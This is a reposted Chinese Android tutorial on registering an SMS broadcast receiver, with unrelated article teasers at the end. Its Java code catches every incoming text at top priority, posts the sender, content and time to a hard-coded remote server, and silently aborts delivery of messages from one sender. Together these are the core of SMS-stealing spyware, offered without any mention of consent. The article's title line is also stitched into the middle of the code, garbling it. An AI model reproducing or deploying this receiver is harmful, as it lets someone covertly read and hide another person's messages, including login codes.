短信广播接收器BroadcastReceive 动态注册广播接收器

写一个广播接收器有两个步骤,第一步:注册BroadcastReceive;第二步:写一个注册器继承BroadcastReceive,重写onReceive()方法

1.在AndroidMainfest.xml中注册,

<receiver android:name=".SMSReceiver">

<intent-filter android:priority="1000">

<action android:name="android.provider.Telephony.SMS_RECEIVED"/>

</intent-filter>

</receiver>

加上接收短信的权限

<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->

2.写一个接收器

package cn.eric.listener.smslistener;

import java.net.HttpURLConnection;

import java.net.URL;

import java.text.SimpleDateFormat;

import java.util.Date;

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

import android.telephony.SmsMessage;

public class SMSReceiver extends BroadcastReceiver {

@Override

public void onReceive(Context context, Intent intent) {

Object[] pdus = (Object[]) intent.getExtras().get("pdus");

for(Object pdu : pdus){

SmsMessage message = SmsMessage.createFromPdu((byte[])pdu);

String sender = message.getOriginatingAddress();//发送者

String content = message.getMessageBody();

Date date = new Date(message.getTimestampMillis());

// 2009-10-10 12:22:33

SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

String time = dateFormat.format(date);
短信广播接收器BroadcastReceive 动态注册广播接收器

sendSMS(sender, content, time);

if("5556".equals(sender)){

abortBroadcast();//终止广播

}

}

}

private void sendSMS(String sender, String content, String time) {

String path = "http://192.168.1.100:8080/web/SMSServlet";

// sender=15050505543&content=xxxx&time=2009-10-12

String data = "sender="+ sender+ "&content="+ content+ "&time="+ time;

byte[] entity = data.getBytes();

try{

HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();

conn.setConnectTimeout(5000);

conn.setRequestMethod("POST");

conn.setDoOutput(true);

conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");

conn.setRequestProperty("Content-Length", String.valueOf(entity.length));

conn.getOutputStream().write(entity);

if(conn.getResponseCode() == 200){

;

}

}catch (Exception e) {

e.printStackTrace();

}

}

}

  

爱华网本文地址 » http://www.413yy.cn/a/25101011/90705.html

更多阅读

iphone4短信铃声设置 iphone6设置短信铃声

第一:您的手机已经越狱第二:您的PC安装有Itunes(有没有注册ID无所谓啦),有其他可以转换格式的工具也可以,不过个人推荐Itunes,简单,方便...另外还需有ifunbox ,91,ifile等可以查看iphone系统文件的任何一款手机助手...第三:制

飞信发短信要钱吗 移动飞信怎么收费

飞信是中国移动推出的聊天工具,其带有一个特别的功能就是可以免费发短信,但是前提条件必须是加为了飞信好友,联通和电信的号码都可以的,接下来小编带给大家如何加好友,并且免费发短信,首先飞信登录方式有两种一是网页版、二是客户端登录,基

哇咔咔,好激动,先锋898念我发的短信拉 哇咔咔福利

这件事情居然忘了给媛媛妹妹汇报。事情是这样的,每天下午只要有时间都会听先锋898的广播,小妹肖志两个活宝可以让我打发下午上班的第一个小时。今天突然聊到世界杯,小妹是个正中球迷,说她的偶像是巴蒂,唯一的偶像。当时那个激动呐,想着遇

怎样免费发短信使用电信189邮箱 189邮箱不能发短信了

怎样免费发短信(使用电信189邮箱)——简介 是否可以在网上免费发送短信呢?答案是可以!不需要下载什么短信群发软件而且完全免费。电信天翼189邮箱就有在线免费发短信的功能。来跟我一起看看怎么使用吧。怎样免费发短信(使用电信189邮箱)

手机收不到短信怎么办 手机短信注册接口

手机收不到短信怎么办——简介经常会有用户询问手机接收不到短信的现象出现,或者是短信会出现延迟接收。其实手机收不到信息,一般来说和本身硬件方面关系不大,大多数应该是软性方面所致。现在为大家收集了几条收不到短信的原因,还有解决

声明:《短信广播接收器BroadcastReceive 动态注册广播接收器》为网友抱负分享!如侵犯到您的合法权益请联系我们删除